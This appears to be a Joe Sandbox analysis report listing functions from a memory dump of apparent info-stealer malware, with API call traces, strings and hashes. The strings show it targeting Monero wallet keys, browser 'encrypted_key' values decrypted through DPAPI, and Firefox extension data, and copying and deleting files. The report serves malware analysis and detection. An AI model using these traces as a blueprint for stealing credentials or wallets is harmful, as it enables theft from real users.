Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 4b85860e5a04faa85828634e2081da7c2e58f0b2f1b13c2116b88843e069b3d0
Instruction ID: eaea38f9a2cad76c5e96ffe745a4c15e11ac327263ecd3edf6d24ad713b7caaa
Opcode Fuzzy Hash: 4b85860e5a04faa85828634e2081da7c2e58f0b2f1b13c2116b88843e069b3d0
Instruction Fuzzy Hash: E3310AB1901218AADB24EB54DC91BEE7778EF44300F808199F30966191DFB56B48CF7A

Function 00DF87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00E00E28,00000000,?), ref: 00DF882F
RtlAllocateHeap.NTDLL(00000000), ref: 00DF8836
wsprintfA.USER32 ref: 00DF8850

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Strings

%dx%d, xrefs: 00DF8847

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 6e0e4ecb755c00295438930d2f0f2a282c3e7f3a3d053f78b3ba32c6f67aead8
Instruction ID: 77d5cc744c96cfec6a11752746254147416178e706ba7440c2b8e31acdfd5235
Opcode Fuzzy Hash: 6e0e4ecb755c00295438930d2f0f2a282c3e7f3a3d053f78b3ba32c6f67aead8
Instruction Fuzzy Hash: 3C2133B1F40208EFDB24DF94DD45FAEB7B8FB48711F204119F605A7684CB7999008BA1

Function 00DF8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00DF951E,00000000), ref: 00DF8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00DF8D62
wsprintfW.USER32 ref: 00DF8D78

Strings

%hs, xrefs: 00DF8D6F

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0b1b56de4916ac1b6a02cc04570240e3ae51afa4adf4af32d8ad99ce0931871d
Instruction ID: 1b0e725390b8b74671ef17ac4fc932e442e87b5a7eeaf470ae395b1bb6f23051
Opcode Fuzzy Hash: 0b1b56de4916ac1b6a02cc04570240e3ae51afa4adf4af32d8ad99ce0931871d
Instruction Fuzzy Hash: F6E08CB0B40208FBD724DF94DC0AE6977B8EB04702F104095FE4A97680DEB69E008BA5

Function 00DEA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,0083FC00,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DEA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00DEA3FF
lstrlen.KERNEL32(00000000), ref: 00DEA6BC

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

DeleteFileA.KERNEL32(00000000), ref: 00DEA743

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 86bbecd727f6926a560c3337923cac820a5a59ab6645df2d526272531e79aae9
Instruction ID: 3a90e1082d0ba82b479ca769ea72f42bc577f3e666d0cb0dc85711e654eea5a1
Opcode Fuzzy Hash: 86bbecd727f6926a560c3337923cac820a5a59ab6645df2d526272531e79aae9
Instruction Fuzzy Hash: 8EE1FBB291011C9ACB14FBA8DC92EFE7338EF14340F51C169F61A76095EE746A49CB72

Function 00DED400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,0083FC00,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DED481
lstrlen.KERNEL32(00000000), ref: 00DED698
lstrlen.KERNEL32(00000000), ref: 00DED6AC
DeleteFileA.KERNEL32(00000000), ref: 00DED72B

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c9f1af44e29dd47cbbbdcdc94c602c5034321782d3659a07a35c767b23a27f38
Instruction ID: 35049f0ea5961abe0890f602429eb4003559a612b89bd1cb4fb59979a702bfb2
Opcode Fuzzy Hash: c9f1af44e29dd47cbbbdcdc94c602c5034321782d3659a07a35c767b23a27f38
Instruction Fuzzy Hash: AF910FB191011C9ACB14FBA8DC96DFE7338EF14300F51C169F61AA6095EF746A09CB72

Function 00DED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,0083FC00,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DED801
lstrlen.KERNEL32(00000000), ref: 00DED99F
lstrlen.KERNEL32(00000000), ref: 00DED9B3
DeleteFileA.KERNEL32(00000000), ref: 00DEDA32

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 757336a909d840892d96cf035e55d6499dd52495af3dbb58fbaf7f99443e978d
Instruction ID: 894a40f8a613dd5edcddb581b598285d71ef63565b32c5320e311f8b7f7c0b70
Opcode Fuzzy Hash: 757336a909d840892d96cf035e55d6499dd52495af3dbb58fbaf7f99443e978d
Instruction Fuzzy Hash: 12810FB191011C9ACB14FBA8DC96DFE7338EF54340F55C129F60AA6095EF746A09CB72

Function 00DEF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00E01580,00E00D92), ref: 00DEF54C
lstrlen.KERNEL32(00000000), ref: 00DEF56B

Strings

moz-extension+++, xrefs: 00DEF5AD
^userContextId=4294967295, xrefs: 00DEF59C

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 821a804907ddcc4911ed429f3f96c8dc5bb78061dad11b94c5f54b2a89065583
Instruction ID: a897a1def379ebb90cdc72012dcabf322579de12dbf2e2170a577c42cbbc86c2
Opcode Fuzzy Hash: 821a804907ddcc4911ed429f3f96c8dc5bb78061dad11b94c5f54b2a89065583
Instruction Fuzzy Hash: 2B510DB190010CAADB04FBA8DC96DFD7338EF54340F45C528FA1A67195EE746A09CBB2

Function 00DF3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: a3c2da55e72b7ba0d2e93ae8009169cd3f31fed4c01efb48d69f050f577721f2
Instruction ID: afc0eba301d3169d1c6c90418dcd24f7b2d31ff37b9aec7abf42ca0bc9df9e6b
Opcode Fuzzy Hash: a3c2da55e72b7ba0d2e93ae8009169cd3f31fed4c01efb48d69f050f577721f2
Instruction Fuzzy Hash: 68410BB1D1020EEBCB04EFA8D845AFEB774EF44304F15C418E616B6290DB75AA49CBB1

Function 00DE9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00DE9D39

Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9AEF
Part of subcall function 00DE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B01
Part of subcall function 00DE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00DE4EEE,00000000,00000000), ref: 00DE9B2A
Part of subcall function 00DE9AC0: LocalFree.KERNEL32(?,?,?,?,00DE4EEE,00000000,?), ref: 00DE9B3F

Part of subcall function 00DE9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00DE9B84
Part of subcall function 00DE9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00DE9BA3
Part of subcall function 00DE9B60: LocalFree.KERNEL32(?), ref: 00DE9BD3

Strings

"encrypted_key":", xrefs: 00DE9D30
DPAPI, xrefs: 00DE9D89
, xrefs: 00DE9DC1

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: d387672acf483ddcc90e0a5f4de149cc2d7d4522a0c4e736a761ba2236678938
Instruction ID: 13277152bc85203aca9750fb35af9bb60adc764781b45b66a908bf37aaed1a83
Opcode Fuzzy Hash: d387672acf483ddcc90e0a5f4de149cc2d7d4522a0c4e736a761ba2236678938
Instruction Fuzzy Hash: 74315EB6D1121DABCF04EFE5DC95AEEB7B8EF48304F144518EA05A7241EB349A04CBB1

Function 00DF92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00DF3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00DF3AEE,?), ref: 00DF92FC
GetFileSizeEx.KERNEL32(000000FF,00DF3AEE), ref: 00DF9319
CloseHandle.KERNEL32(000000FF), ref: 00DF9327

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: cc9ce9e6ee6ddae8804b00417948868fff04fa46de1f709363e7083bd5395ac0
Instruction ID: 6d957af6572b69ffdae4ffa927f33fcce5df715b20d072493b2048bbf28636ad
Opcode Fuzzy Hash: cc9ce9e6ee6ddae8804b00417948868fff04fa46de1f709363e7083bd5395ac0
